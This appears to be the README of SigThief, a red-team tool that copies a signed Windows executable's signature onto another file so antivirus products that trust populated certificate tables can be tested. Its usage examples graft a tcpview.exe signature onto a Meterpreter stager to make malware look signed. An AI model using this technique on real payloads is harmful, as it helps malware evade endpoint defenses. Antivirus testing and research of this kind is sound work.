New version available to Dev-tier sponsors: https://github.com/sponsors/secretsquirrel
Stable tier will have it End of Month August 2021
Stealing Signatures and Making One Invalid Signature at a Time (Unless you read this: https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf)
https://twitter.com/subTee/status/912769644473098240
I've noticed during testing against Anti-Virus over the years that each is differen 8607 t and each prioritize PE signatures differently, whether the signature is valid or not. There are some Anti-Virus vendors that give priority to certain certificate authorities without checking that the signature is actually valid, and there are those that just check to see that the certTable is populated with some value. It's a mess.
So I'm releasing this tool to let you quickly do your testing and feel free to report it to vendors or not.
In short it will rip a signature off a signed PE file and append it to another one, fixing up the certificate table to sign the file.
Of course it's not a valid signature and that's the point!
I look forward to hearing about your results!
Usage: sigthief.py [options]
Options:
-h, --help show this help message and exit
-i FILE, --file=FILE input file
-r, --rip rip signature off inputfile
-a, --add add signautre to targetfile
-o OUTPUTFILE, --output=OUTPUTFILE
output file
-s SIGFILE, --sig=SIGFILE
binary signature from disk
-t TARGETFILE, --target=TARGETFILE
file to append signature too
-c, --checksig file to check if signed; does not verify signature
-T, --truncate truncate signature (i.e. remove sig)
$ ./sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe
Output file: /tmp/msftesting_tcpview.exe
Signature appended.
FIN.
$ ./sigthief.py -i tcpview.exe -r
Ripping signature to file!
Output file: tcpview.exe_sig
Signature ripped.
FIN.
$ ./sigthief.py -s tcpview.exe_sig -t x86_meterpreter_stager.exe
Output file: x86_meterpreter_stager.exe_signed
Signature appended.
FIN.
This has really interesting results actually, can help you find AVs that value Signatures over functionality of code. Unsign putty.exe ;)
$ ./sigthief.py -i tcpview.exe -T
Inputfile is signed!
Output file: tcpview.exe_nosig
Overwriting certificate table pointer and truncating binary
Signature removed.
FIN.
$ ./sigthief.py -i tcpview.exe -c
Inputfile is signed!